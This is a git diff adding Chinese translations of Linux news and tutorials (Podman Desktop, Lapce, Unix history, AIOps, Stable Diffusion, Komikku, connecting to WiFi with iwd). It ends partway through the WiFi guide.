+#### 创建一个容器 + +作为 Podman Desktop 演示的最后一部分,让我们从镜像中启动一个容器并检查结果。转到 “容器Containers” 并按 “创建容器Create Container”。这将打开一个包含两个选项的对话框:“从 Containerfile/DockerfileFrom Containerfile/Dockerfile” 和 “从已有镜像From existing image”。按下 “从已有镜像From existing image”。这将进入镜像列表。在那里,选择我们要拉取的镜像。 + +![在 Podman Desktop 中创建容器][12] + +现在,我们从列表中选择我们最近拉取的镜像,然后按它前面的 “运行Play” 按钮。在出现的对话框中,我输入 `demo-web` 作为容器名,输入 `8000` 作为端口映射,然后按下 “启动容器Start Container”。 + +![Container configuration][13] + +容器开始运行,我们可以通过运行以下命令检查 Apache 服务器的默认页面: + +``` +curl http://localhost:8000 +``` + +![可以工作!][14] + +你还应该能够在容器列表中看到正在运行的容器,其状态已更改为 “运行中Running”。在那里,你会在容器前面找到可用的操作。例如,你可以单击终端图标打开 TTY 进入到容器中! + +![][15] + +### 接下来是什么 + +Podman Desktop 还很年轻,处于 [积极开发][16] 中。 GitHub 上有一个项目 [路线图][17],其中列出了令人兴奋的按需功能,包括: + +* Kubernetes 集成 +* 支持 Pod +* 任务管理器 +* 卷支持 +* 支持 Docker Compose +* Kind 支持 + +-------------------------------------------------------------------------------- + +via: https://fedoramagazine.org/manage-containers-on-fedora-linux-with-podman-desktop/ + +作者:[Mehdi Haghgoo][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://fedoramagazine.org/author/powergame/ +[b]: https://github.com/lkxed +[1]: https://fedoramagazine.org/wp-content/uploads/2022/09/podman-desktop-on-fedora-816x345.jpg +[2]: https://github.com/marhkb/pods +[3]: https://github.com/iongion/podman-desktop-companion +[4]: https://github.com/cockpit-project/cockpit/ +[5]: https://podman-desktop.io/ +[6]: https://github.com/containers/podman-desktop/releases/ +[7]: https://fedoramagazine.org/wp-content/uploads/2022/08/pd.png +[8]: https://fedoramagazine.org/wp-content/uploads/2022/08/registry.png +[9]: https://fedoramagazine.org/wp-content/uploads/2022/08/image.png +[10]: https://fedoramagazine.org/wp-content/uploads/2022/08/Screenshot-from-2022-08-27-23-51-38.png +[11]: https://fedoramagazine.org/wp-content/uploads/2022/08/image-2.png +[12]: https://fedoramagazine.org/wp-content/uploads/2022/08/image-3.png +[13]: https://fedoramagazine.org/wp-content/uploads/2022/08/image-5.png +[14]: https://fedoramagazine.org/wp-content/uploads/2022/08/image-6.png +[15]: https://fedoramagazine.org/wp-content/uploads/2022/09/image-2-1024x393.png +[16]: https://github.com/containers/podman-desktop +[17]: https://github.com/orgs/containers/projects/2 diff --git a/published/202209/20220906 Lapce is a Fast, Lightweight Open-Source Code Editor in Making.md b/published/202209/20220906 Lapce is a Fast, Lightweight Open-Source Code Editor in Making.md new file mode 100644 index 0000000000..4cfdbe9351 --- /dev/null +++ b/published/202209/20220906 Lapce is a Fast, Lightweight Open-Source Code Editor in Making.md @@ -0,0 +1,84 @@ +[#]: subject: "Lapce is a Fast, Lightweight Open-Source Code Editor in Making" +[#]: via: "https://news.itsfoss.com/lapce-code-editor/" +[#]: author: "Ankush Das https://news.itsfoss.com/author/ankush/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15036-1.html" + +Lapce:一个开发中的快速、轻量级的开源代码编辑器 +====== + +> Lapce 是一个用 Rust 构建的开源代码编辑器。它正处于早期开发阶段,但看起来很有前途! + +![Lapce 是一个正在开发中的快速、轻量级的开源代码编辑器][1] + +有很多开源的代码编辑器可用于 Linux。 + +你对换一种选择有什么看法:一个专注于性能的**基于 Rust 的**开源代码编辑器? + +它应该是**激动人心**的,对吗? + +Lapce 就是这样一个正在开发的项目,它的目标是开发出一个功能丰富、速度快的代码编辑器,作为微软的 Visual Studio Code 的替代品。 + +开发者还提到,它的灵感来自于 [Xi-editor][2](它已不再处于活跃开发状态)。 + +### Lapce 处于 pre-alpha 阶段 + +![lapce 编辑器][3] + +虽然 Lapce 还不是一个完整的产品,但它有很多东西可以提供。 + +因此,随着稳定版本的接近,我们得到的东西应该是有趣的。 + +值得强调的功能包括: + +* 命令面板(快速操作)。 +* 自定义用户界面字体、标题高度、字体阴影、滚动宽度等。 +* 内置终端。 +* 类似 Vim 的模态编辑。 +* 连接到远程计算机。 +* 代码语法高亮,代码不全,以及类似功能。 +* 插件系统。 +* 深色/浅色模式。 + +虽然它专注于性能,但在用户体验方面看起来不错(尽管它不完整)。 + +![][4] + +如果用户能够获得一个代码编辑器所期望的所有基本功能,以及一个性能更好的应用,Lapce 很快就会成为一个受欢迎的选择。 + +### 下载 Lapce + +Lapce 在 Linux、macOS 和 Windows 中有 pre-alpha 版本。 + +对于 Linux,你只需要下载并解压 tar.gz 包,然后使用 GUI 或终端运行 Lapce 可执行文件。 + +目前,它正在积极开发中。你可以为你的平台下载软件包并进行测试,但你应该预期会出现 bug 和新的版本。探索它的 [GitHub 页面][5] 以获得更多信息。 + +> **[Lapce][6]** + +我在 Pop!\_OS 22.04 LTS 上试用了它,发现用户界面冻结了几次。然而,它所提供的功能似乎令人印象深刻。 + +💬 *你对 Lapce 作为一个用 Rust 构建的开源代码编辑器有什么看法?你认为你会考虑它而不是你目前的最爱吗?请在下面的评论中分享你的想法。* + +-------------------------------------------------------------------------------- + +via: https://news.itsfoss.com/lapce-code-editor/ + +作者:[Ankush Das][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://news.itsfoss.com/author/ankush/ +[b]: https://github.com/lkxed +[1]: https://news.itsfoss.com/content/images/size/w1200/2022/09/lapce-editor.png +[2]: https://github.com/xi-editor/xi-editor +[3]: https://news.itsfoss.com/content/images/2022/09/lapce-screenshot.png +[4]: https://news.itsfoss.com/content/images/2022/09/lapce-code-edit.png +[5]: https://github.com/lapce/lapce +[6]: https://lapce.dev/ diff --git a/published/202209/20220906 Unix History- A Mighty Origin Story.md b/published/202209/20220906 Unix History- A Mighty Origin Story.md new file mode 100644 index 0000000000..0819a06b67 --- /dev/null +++ b/published/202209/20220906 Unix History- A Mighty Origin Story.md @@ -0,0 +1,107 @@ +[#]: subject: "Unix History: A Mighty Origin Story" +[#]: via: "https://www.debugpoint.com/unix-history/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15024-1.html" + +Unix 历史:一个伟大作品的诞生 +====== + +> 关于 Unix 及其起源的简短回忆。 + +![The beginning][1] + +### Unix 的起源 + +如今,几乎整个世界都运行在 Linux 之上。数以十亿计的移动电话和服务器运行在 Linux 之上。但在 Linux 之前,是 Unix,没有 Unix 就没有现在的 Linux。 + +Unix 的起源可以追溯到人类登陆月球的时候。在 1965 年,三个著名的机构共同开展了一个操作系统研发项目,准备开发一个能够服务多个用户,并共享数据和资源的操作系统。 + +![Scanned copy of actual Unix code][2] + +这三个机构是著名的 贝尔电话实验室Bell Telephone Laboratories通用电气公司General Electric Company(GE)以及麻省理工学院Massachusetts Institute of Technology(MIT)。这个合作项目被称为 “Multics” —— 即“多路传输信息和计算业务Multiplex Information and Computing Service”的缩写。 + +不幸的是,该项目并没有见到成功的曙光,由于系统设计复杂且没有什么成果,贝尔实验室停止了该项目。 + +曾参与该项目开发的贝尔实验室的 肯·汤普森Ken Thompson,也投入到了新的工作中。在 数字设备公司Digital Equipment Corporation(DEC)的一台古老的 PDP-7 计算机上,他重新开始设计了一个新操作系统。不久后,丹尼斯·里奇Dennis Ritchie 也加入了,二人一起设计了分层文件系统、设备文件、命令行解释器以及进程。这就是 Unix 的诞生过程,它的名字是由 Multics 项目的另一名成员 布莱恩·克尼汉Brian Kernighan 给命名的。(LCTT 校注:[前不久](https://linux.cn/article-14964-1.html),80 高龄的布莱恩还为他共同创造的 AWK 添加了新的特性。) + +接着在 1971 年,Unix 被移植到了稍微先进一些的 PDP-11 计算机上,它仅有 512 KB 的磁盘。当时,Unix 只支持 16 KB 内存,可以为用户程序分配 8 KB 的内存。 + +然而,Unix 大多数代码是用汇编语言编写的,十分依赖于硬件。因此它并不具备移植性。 + +![Ken Thompson (sitting) and Dennis Ritchie at PDP-11 (credit and learn more about this image1)][3] + +### C 语言的创建 + +如此一来,要使 Unix 具有可移植性,使之与 机器无关machine-independent,唯一的方法是使用高级语言编写它,这样编译和相应的目标代码就可以进行机器指令的转换了。 + +解决该问题的伟大思想诞生于一瞬间。肯·汤普森从零开始创建了一种名为 “B” 的高级语言。然后,他做了大量的工作,将 Unix 的汇编代码转换成这种新创建的语言。然而,“B” 语言也存在一些局限性,丹尼斯·里奇在此基础上创建了著名的 “C” 语言,这使得 Unix 真正成为一个可移植的操作系统。 + +著名的 “C” 语言至今还在使用。 + +到上世纪 80 年代中期,Unix 已经变得十分成功,从微型计算机到大型机,它可以在成千上万种硬件上运行。 + +![The text book of C which we all read][4] + +### MINIX 和 Linux 的诞生 + +1987 年,计算机科学教授 安德鲁·斯图尔特·特南鲍姆Andrew S. Tanenbaum 开发了一个名为 NINIX 的类 Unix 系统,在其著作《操作系统设计与实现Operating Systems: Design and Implementation》中用以解释操作系统的概念,并随该书一起免费分发了这个操作系统(16 位的版本)。那些学习计算机科学专业(包括我)或相关专业的人都知道,这是一本解释操作系统基础知识的“神级”教科书。 + +1991 年,李纳斯·托沃兹Linus Torvalds 在赫尔辛基大学学习期间开始了一项 [爱好项目][5]。他的项目是基于 MINIX 和 GNU C 编译器的。他启动这个项目是为了能够在他的配有新款 80386 处理器的新 PC 上运行程序。他编写的整个操作系统包含了 MINIX 所缺乏的特性,最终成为了 Linux 内核。 + +![Famous operating systems book by Tanenbaum][6] + +### BSD 和 macOS + +上世纪 80 年代,当 Unix 初具规模时,贝尔实验室基于 Unix 的最初源代码(在 PDP-7 和 PDP-11 上运行的版本)开发了 BSD(伯克利标准发行版Berkeley Standard Distribution)。BSD 是由加州大学伯克利分校的 计算机系统研究小组Computer Systems Research Group(CSRG)分发的。在其形成之后,BSD 被许多工作站供应商(传统桌面系统),如 昇阳微系统Sun Microsystems ,改编为专有的 Unix 变体。 + +该版本最终分叉创建了一些开源的变体,例如 OpenBSD、FreeBSD 等。这些自由版本为 史蒂夫·乔布斯Steve Jobs 创立的 NeXT 创建 NeXTSTEP 开辟了道路。而 NeXTSTEP 最终成为苹果公司 macOS 的基础。 + +### 总结 + +Unix 是少数具有独到思想并致力于解决问题的人取得的非凡成就。如果考虑到在创建操作系统当时可用的计算能力和内存量,这个操作系统简直就是一件艺术品。 + +几十年来,所有这些一步步的进步,最终使我们走到了今天。无论有多少内核、操作系统和以编程语言形式出现的抽象概念,就其本质而言,它们都始于一个单一的来源。 + +我一直认为程序或代码是人类的思想,是你的逻辑、想法,只是写在 “IF-ELSE” 语句中,以实现一些现实世界的结果。 + +参考资料: + +* [https://www.bell-labs.com/usr/dmr/www/picture.html][7]1 +* [https://groups.google.com/g/comp.os.minix/c/dlNtH7RRrGA/m/SwRavCzVE7gJ][8] +* [https://en.wikipedia.org/wiki/Andrew_S._Tanenbaum][9] +* [https://en.wikipedia.org/wiki/History_of_Linux][10] +* [https://en.wikipedia.org/wiki/History_of_Unix][11] +* [https://computerhistory.org/blog/the-earliest-unix-code-an-anniversary-source-code-release/][12] + +> “所有的革命,在它们发生之前,都是历史的必然。” —— 大卫·米切尔 《云图》 + +-------------------------------------------------------------------------------- + +via: https://www.debugpoint.com/unix-history/ + +作者:[Arindam][a] +选题:[lkxed][b] +译者:[Donkey-Hao](https://github.com/Donkey-Hao) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.debugpoint.com/author/admin1/ +[b]: https://github.com/lkxed +[1]: https://www.debugpoint.com/wp-content/uploads/2022/09/The-beginning-1024x576.jpg +[2]: https://www.debugpoint.com/wp-content/uploads/2022/09/Scanned-copy-of-actual-Unix-code-1024x646.jpg +[3]: https://www.debugpoint.com/wp-content/uploads/2022/09/Ken-Thompson-sitting-and-Dennis-Ritchie-at-PDP-11.jpg +[4]: https://www.debugpoint.com/wp-content/uploads/2022/09/The-text-book-of-C-which-we-all-read.jpg +[5]: https://groups.google.com/g/comp.os.minix/c/dlNtH7RRrGA/m/SwRavCzVE7gJ +[6]: https://www.debugpoint.com/wp-content/uploads/2022/09/Famous-operating-systems-book-by-Tanenbaum.jpg +[7]: https://www.bell-labs.com/usr/dmr/www/picture.html +[8]: https://groups.google.com/g/comp.os.minix/c/dlNtH7RRrGA/m/SwRavCzVE7gJ +[9]: https://en.wikipedia.org/wiki/Andrew_S._Tanenbaum +[10]: https://en.wikipedia.org/wiki/History_of_Linux +[11]: https://en.wikipedia.org/wiki/History_of_Unix +[12]: https://computerhistory.org/blog/the-earliest-unix-code-an-anniversary-source-code-release/ +[13]: https://t.me/debugpoint diff --git a/published/202209/20220907 Get Ready to Embrace the AIOps Era.md b/published/202209/20220907 Get Ready to Embrace the AIOps Era.md new file mode 100644 index 0000000000..96921435be --- /dev/null +++ b/published/202209/20220907 Get Ready to Embrace the AIOps Era.md @@ -0,0 +1,79 @@ +[#]: subject: "Get Ready to Embrace the AIOps Era" +[#]: via: "https://www.opensourceforu.com/2022/09/get-ready-to-embrace-the-aiops-era/" +[#]: author: "Amit Shingala https://www.opensourceforu.com/author/amit-shingala/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15060-1.html" + +准备好迎接 AIOps 时代 +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/23/083440mxyb6e388ze2sbbs.jpg) + +> 随着技术的进步,企业,无论大小,都必须将自己转变为数字公司。转型不再是“选择”的问题;相反,它是关于“如何”推进过渡。这就是 AIOps 的用武之地。 + +将组织转变为数字公司会遇到很多挑战。缺乏专门的 IT 技能、组织变革管理、不断变化的客户需求和混合环境只是其中的一小部分。企业需要增强其 IT 运营(ITOps)以应对这些挑战并满足客户期望。 + +### 数字化转型:AIOps 之路 + +未来,ITOps 将结合算法和人工智能,使 IT 系统的性能变得透明,并帮助他们提供无缝体验。 + +> “AIOps 对 IT 运营的长期影响将是变革性的。” —— Gartner + +AIOps 对于成功的数字化转型至关重要,可以帮助系统以现代业务所需的速度运行。反过来,这将确定公司获得和保持市场领先地位的速度。 + +现代 AIOps 技术在本地、云端或混合环境中提供 IT 基础架构。它们的自动化使开发人员能够专注于设计下一代业务应用,而不必担心底层基础设施。 + +### 什么是 AIOps? + +AIOps 结合人工智能和机器学习来分析 IT 运营的数据。这是将人工智能应用于 IT 运营的过程。它可以帮助组织主动检测错误,还可以帮助运营团队在问题影响最终用户之前预防问题。 + +传统的 IT 管理技术已经无法应对数字化业务转型。当 Gartner 创造 AIOps 一词时,该公司预测 IT 运营过程将发生重大变化,组织管理其 IT 生态系统的方式也会发生巨大变化。 + +AIOps 平台使用大数据。他们从各种 IT 运营和设备收集数据,以自动识别和实时响应问题,同时仍提供传统的历史分析。然后,AIOps 使用机器学习对组合的 IT 数据执行综合分析。 + +结果是自动化驱动的洞察力驱使持续改进和修复。AIOps 支持基本 IT 功能的持续集成和部署 (CI/CD)。 + +### AIOps 的范围是什么? + +开始使用 AIOps 最初似乎具有挑战性,因此最好采取循序渐进的方法。我们需要从识别和理解 IT 运营数据开始。 AIOps 的核心是数据驱动。因此,它需要访问所有相关的操作数据,包括非结构化数据、日志、指标、实时数据、API 输出和设备数据。还需要结构化的业务数据,例如数据库、社交活动和其他关系数据。 AIOps 平台处理的相关数据越多,他们的预测就越准确。 + +企业需要了解他们的数据如何帮助他们解决最大的问题,无论他们身处哪个行业。他们应该实施 AIOps 来回顾他们过去的失败,并确定哪些数据将帮助他们找到解决方案。 + +数据分析可用于查找中断或系统变慢的根源。然后 AIOps 平台可用于检测常见问题及其补救措施。企业可以使用收集到的结果来实施机器学习和 AI,以进行实时监控和自动响应。这整个过程帮助公司推动 AI 成熟,有效地修复错误,避免停机,提高效率。 + +![图 1:AIOps 平台可实现对 IT 运营监控 (ITOM) 的持续洞察(来源:https://www.gartner.com/en/documents/3971186)][1] + +### 为什么 2022 年需要 AIOps? + +随着企业加快数字化转型,应用程序和系统架构变得非常先进。我们可以通过以下几种方式见证这种复杂性: + +* 组织正在从传统的应用架构转移到云原生、灵活和基于微服务的容器化应用堆栈。 +* 这些应用也部署在本地、混合、公共和私有云平台上。 + +随着应用和 IT 环境的扩展,它们会产生大量数据。 IT 运营团队因无法管理的数据而筋疲力尽。但是,人工智能可以处理大量数据。随着数据量的扩大,将人工智能纳入 IT 流程的机会要大得多。 + +异常检测、分类和预测都可以通过使用机器学习和深度学习模型来完成,这些模型擅长分析海量数据并提供分析。AIOps 的许多功能可帮助公司通过交互式仪表盘提供良好的用户体验。 + +实施 AIOps 的企业报告了诸如无缝体验、更低的运营费用、更快的客户服务、更短的平均解决时间和更少的停机时间等好处。 AIOps 通过基于预测分析做出坚定的决策来支持 IT 运营。 + +### 最后一点 + +AIOps 是 IT 运营分析(ITOA)的下一步。 人工智能、认知技能和 RPA(机器人流程自动化)用于在基础设施或 IT 运营问题成为问题之前自动修复它们。 自我修复系统是 AIOps 的最终目标。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/get-ready-to-embrace-the-aiops-era/ + +作者:[Amit Shingala][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/amit-shingala/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/07/Figure-1-AIOps-platform-enabling-continuous-insight-across-IT-operations-monitoring-ITOM-2.jpg diff --git a/published/202209/20220907 Image Generation Model Stable Diffusion Is Now Open Source.md b/published/202209/20220907 Image Generation Model Stable Diffusion Is Now Open Source.md new file mode 100644 index 0000000000..80fbd26f8c --- /dev/null +++ b/published/202209/20220907 Image Generation Model Stable Diffusion Is Now Open Source.md @@ -0,0 +1,44 @@ +[#]: subject: "Image Generation Model Stable Diffusion Is Now Open Source" +[#]: via: "https://www.opensourceforu.com/2022/09/image-generation-model-stable-diffusion-is-now-open-source/" +[#]: author: "Laveesh Kocher https://www.opensourceforu.com/author/laveesh-kocher/" +[#]: collector: "lkxed" +[#]: translator: "lkxed" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15019-1.html" + +图像生成模型 Stable Diffusion 现已开源 +====== + +![](https://www.opensourceforu.com/wp-content/uploads/2022/09/stable-1-768x525.png) + +Stable Diffusion 是一个“文本到图像”的人工智能模型。近日,Stable AI 公司向公众开放了它的预训练模型权重。当输入一个文字描述时,Stable Diffusion 可以生成 512×512 像素的图像,这些图像如相片般真实,反映了文字描述的场景。 + +这个项目先是经历了早期的代码发布,而后又向研究界有限制地发布了模型权重,现在模型权重已经向公众开放。对于最新版本,任何人都可以在为普通消费者设计的硬件上下载和使用 Stable Diffusion。该模型不仅支持文本到图像的生成,而且还支持图像到图像的风格转换和放大。与之一同发布的还有 DreamStudio 测试版,这是一个用于该模型的 API 和 Web 用户界面。 + +Stable AI 公司表示: + +> “Stable Diffusion 是一个文本到图像的模型,它将使数十亿人在几秒钟内创造出令人惊叹的艺术。它在速度和质量上的突破意味着它可以在消费者级的 GPU 上运行。这将允许研究人员和公众在一系列条件下运行它,并使图像生成普及化。我们期待着有围绕这个模型和其他模型的开放生态系统出现,以真正探索潜伏空间的边界。” + +Latent Diffusion 模型(LDM)是 Stable Diffusion 模型建立的一种图像生成方法。LDM 通过在潜伏表示空间latent representation space中迭代“去噪”输入来创建图像,然后将表示解码为完整的图像,这与其他著名的图像合成技术,如生成对抗网络(GAN)和 DALL-E 采用的自动回归方法不同。最近的 IEEE/CVF 计算机视觉和模式识别会议(CVPR)上有一篇关于 LDM 的论文,它是由慕尼黑路德维希-马克西米利安大学的机器视觉和学习研究小组创建的。今年早些时候,InfoQ 也报道的另一个基于扩散的图片生成 AI 是谷歌的 Imagen 模型。 + +Stable Diffusion 可以支持众多的操作。与 DALL-E 类似,它可以生成一个高质量的图像,并使其完全符合所需图像的文字描述。我们也可以使用一个直观的草图和所需图像的文字描述,从而创建一个看起来很真实的图像。类似的“图像到图像”的能力可以在 Meta AI 的 Make-A-Scene 模型中找到,该模型刚发布不久。 + +一些人公开分享了 Stable Diffusion 创建的照片的例子,Stable AI 的首席开发人员 Katherine Crowson 也在 Twitter 上分享了许多照片。毫无疑问,基于人工智能的图片合成技术将对艺术家和艺术界产生影响,这令一些观察家感到担忧。值得注意的是,在 Stable Diffusion 发布的同一周,一幅由人工智能生成的作品在科罗拉多州博览会的艺术竞赛中获得了最高荣誉。 + +Stable Diffusion 的源代码可以在 [GitHub][1] 上查阅。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/09/image-generation-model-stable-diffusion-is-now-open-source/ + +作者:[Laveesh Kocher][a] +选题:[lkxed][b] +译者:[lkxed](https://github.com/lkxed) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/laveesh-kocher/ +[b]: https://github.com/lkxed +[1]: https://github.com/CompVis/stable-diffusion diff --git a/published/202209/20220908 Komikku- A Free and Open-Source Manga Reader for Linux.md b/published/202209/20220908 Komikku- A Free and Open-Source Manga Reader for Linux.md new file mode 100644 index 0000000000..fa96d1b6b4 --- /dev/null +++ b/published/202209/20220908 Komikku- A Free and Open-Source Manga Reader for Linux.md @@ -0,0 +1,123 @@ +[#]: subject: "Komikku: A Free and Open-Source Manga Reader for Linux" +[#]: via: "https://itsfoss.com/komikku-manga-reader/" +[#]: author: "Anuj Sharma https://itsfoss.com/author/anuj/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15078-1.html" + +Komikku: 一个自由开源的 Linux 日漫阅读器 +====== + +喜欢阅读漫画书吗?有 [大量可用于 Linux 的漫画阅读器][1]。 + +但是,为日漫Manga量身定做的东西呢? + +我想我找到了一个适合阅读漫画的完美应用,它可以管理它们,也可以下载它们进行离线使用。我最近发现的这个应用叫做 **Kommiku**。 + +让我提一下这个应用的主要亮点,并帮助你在 Linux 上开始使用它。 + +### Komikku: 一个 Linux 专用的日漫阅读器 + +![Komikku UI][2] + +Komikku 是一个开源的日漫阅读器,且仅有 Linux 应用。 + +它主要是为配合 GNOME 桌面环境而定制的,但你也可以在运行 [其他桌面环境][3] 的 Linux 发行版上使用它。 + +许多 PDF 或 [电子书阅读器][4],如 Bookworm、Calibre 和 Foliate 都支持漫画书格式。 + +然而,Komikku 用户会有更多的功能,以获得阅读漫画的良好体验。 + +![Komikku 在线服务器列表][5] + +例如,Komikku 可在线和离线观看日漫。此外,你可以从支持的服务器上下载它。 + +### Komikku 的特点 + +![komikku reader][6] + +Komikku 的一些最佳功能包括: + +* 从几十个支持的服务器进行在线阅读。 +* 离线阅读已下载的日漫。 +* 按类别组织你的日漫库。 +* 从右到左、从左到右、垂直和网络漫画阅读模式。 +* 几种类型的导航(键盘方向键、通过鼠标左右滑动或点击(触摸板/触摸屏)、滚轮和滑动手势(触摸板和触摸屏)。 +* 自动更新漫画。 +* 自动下载新章节。 +* 阅读历史。 +* 浅色和深色主题。 +* 自适应设计(能够从桌面工作站扩展到移动电话)。 +* 键盘快捷键。 + +![Komikku 紧凑视图][7] + +### 安装 + +Komikku 可在 [Flathub][8] 上找到。因此,你可以把它安装在任何 Linux 发行版上。 + +不过,你需要 [在你的系统上设置 Flatpak 并启用 Flathub 仓库][9]。 + +当你在系统上设置了 Flatpak,你可以通过软件中心搜索它,或者从你的终端安装它。 + +![从 GNOME 软件中安装 Komikku][10] + +要使用终端安装 Komikku,请输入以下命令: + +``` +flatpak install flathub info.febvre.Komikku +``` + +Komikku 的原生包也可用于 Arch Linux 和 Fedora 等发行版。以下是安装它们的命令: + +对于 Arch Linux(在 AUR 中可用): + +``` +yay -Syu komikku +``` + +对于 Fedora(在官方仓库中可用): + +``` +sudo dnf install komikku +``` + +在其 [GitLab 页面][11]上可以查看 Komikku 的源代码以及从源代码构建它的说明。可以前往其官方网页了解更多信息。 + +> **[下载 Komikku][12]** + +### 总结 + +我发现 Komikku 非常直观干净。我注意到在线服务器并不总是工作,经常有一些小故障,但管理离线漫画和将你的藏品分类是毫不费力的。 + +所有这些都要感谢 **Valéry Febvre**(Komikku 的开发者),我们有了另一个有用的 Linux 应用。如果你喜欢这个应用,你可以考虑向该项目捐款。 + +*你使用哪种漫画书阅读器?你会尝试 Komikku 吗?请在下面的评论中告诉我你的想法*。 + +-------------------------------------------------------------------------------- + +via: https://itsfoss.com/komikku-manga-reader/ + +作者:[Anuj Sharma][a] +选题:[lkxed][b] +译者:[geekpi](https://github.com/geekpi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://itsfoss.com/author/anuj/ +[b]: https://github.com/lkxed +[1]: https://itsfoss.com/best-comic-book-reader-linux/ +[2]: https://itsfoss.com/wp-content/uploads/2022/09/komikku-library.png +[3]: https://itsfoss.com/best-linux-desktop-environments/ +[4]: https://itsfoss.com/best-ebook-readers-linux/ +[5]: https://itsfoss.com/wp-content/uploads/2022/09/komikku-online-servers.png +[6]: https://itsfoss.com/wp-content/uploads/2022/09/komikku-reader.png +[7]: https://itsfoss.com/wp-content/uploads/2022/09/komikku-mobile-view.png +[8]: https://flathub.org/apps/details/info.febvre.Komikku +[9]: https://itsfoss.com/flatpak-guide/ +[10]: https://itsfoss.com/wp-content/uploads/2022/09/install-komikku-gnome-software.png +[11]: https://gitlab.com/valos/Komikku +[12]: https://valos.gitlab.io/Komikku/ diff --git a/published/202209/20220909 Connect to WiFi Using Terminal in Arch Linux and Other Distros.md b/published/202209/20220909 Connect to WiFi Using Terminal in Arch Linux and Other Distros.md new file mode 100644 index 0000000000..70c6c1ada7 --- /dev/null +++ b/published/202209/20220909 Connect to WiFi Using Terminal in Arch Linux and Other Distros.md @@ -0,0 +1,143 @@ +[#]: subject: "Connect to WiFi Using Terminal in Arch Linux and Other Distros" +[#]: via: "https://www.debugpoint.com/connect-wifi-terminal-linux/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "geekpi" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-15067-1.html" + +在 Arch Linux 和其他发行版中使用终端连接到 WiFi +====== + +![](https://img.linux.net.cn/data/attachment/album/202209/24/185145fcas1rje3f8pr8sa.jpg) + +> 本快速指南介绍了在 Arch Linux 和其他发行版中使用终端设置和连接 WiFi 所需的步骤。 + +本指南非常适合没有 GUI 只有终端且没有其他有线互联网连接可用的情况。这些步骤可帮助你手动检测无线网卡和设备,并通过终端密码验证连接到 WiFi 热点。 + +本指南使用 [iwd][1](Net Wireless Daemon)通过终端连接到 WiFi。 + +### 在 Arch Linux 和其他发行版中使用终端连接到 WiFi + +#### 1、设置 iwd + +`iwd` 包有三个主要模块: + +- `iwctl`:无线客户端 +- `iwd`:守护进程 +- `iwmon`:监控工具 + +在终端中输入: + +``` +iwctl +``` + +![iwctl 提示符][2] + +如果找不到该命令,那么需要从 [此处][3] 下载安装包。 + +从任何其他具有互联网连接的系统/笔记本电脑获取帮助,以通过安装 USB 下载和安装软件包。 + +或者,如果你有一个可连接互联网的 USB 网卡,那么将其插入你的系统。并通过以下命令安装。 + +USB 网卡应该可以在 Arch 和当今大多数 Linux 系统中开箱即用,连接到互联网。 + +**Arch:** + +``` +pacman -S iwd +``` + +**Debian、Ubuntu 和其他类似发行版:** + +``` +sudo apt-get install iwd +``` + +**Fedora:** + +``` +sudo dnf install iwd +``` + +如果你看到了 `iwctl` 提示符(如下所示),那么继续下一步。 + +#### 2、配置 + +运行以下命令以获取系统的**无线设备名称**。 + +``` +device list +``` + +![iwctl – 设备列表][4] + +要**获取 WiFi 网络列表**,请运行以下命令。在以下命令和所有其他命令中将 `wlan0` 替换为你的设备名称。 + +``` +station wlan0 get-networks +``` + +![iwctl – 可用网络][5] + +该命令为你提供具有安全类型和信号强度的可用 WiFi 网络列表。 + +#### 3、连接 + +要**连接到 WiFi 网络**,请使用上述 `get-networks` 命令中的 WiFi 接入点名称运行以下命令。 + +``` +station wlan0 connect +``` + +出现提示时输入你的 WiFi 密码。 + +![使用 iwctl 连接到 WiFi][6] + +如果一切顺利,你现在可以连接到互联网。 + +### 使用指南 + +如下所示,你可以使用简单的 `ping` 命令检查连接。`ping` 回复成功的数据包传输表示连接稳定。 + +``` +ping -c 3 google.com +``` + +你还可以使用以下命令检查连接状态。 + +``` +station wlan0 show +``` + +`iwd` 在 `/var/lib/iwd` 中保存 `.psk` 后缀的配置文件,其中带有你的接入点名称。此文件包含使用你的 WiFi 网络的密码和 SSID 生成的哈希文件。 + +按 `CTRL+D` 退出 `iwctl` 提示符。 + +### 